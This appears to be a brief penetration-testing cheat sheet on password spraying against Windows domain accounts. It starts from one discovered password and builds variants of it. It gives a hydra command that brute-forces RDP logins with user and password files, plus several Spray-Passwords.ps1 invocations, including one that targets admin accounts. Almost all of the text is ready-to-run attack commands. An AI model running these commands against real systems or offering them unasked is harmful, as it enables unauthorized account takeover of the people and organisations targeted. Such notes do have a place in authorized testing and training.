Suppose we find password of user rohan is P@ssword1 . password of other user can also be guess

1. Hydra Method

• Find all user by Domain User Enum and save it in file user.txt
• Create a password.txt with similar password like P@ssword1 ,P@ssword2 ,P@ssword3 ,P@ssword4 ,etc
• hydra -L user.txt -P password.txt rdp://<ip> -t 10

1. Spray-Password.ps1 It will enumerate user by itself . -Pass for single password , -File for password file , -Admin to check admin account

• .\Spray-Passwords.ps1 -Pass P@ssword1 .\Spray-Passwords.ps1 -Pass P@ssword1 -Admin .\Spray-Passwords.ps1 -File password.txt

Spray-Passwords/Spray-Passwords.ps1 at master · ZilentJack/Spray-Passwords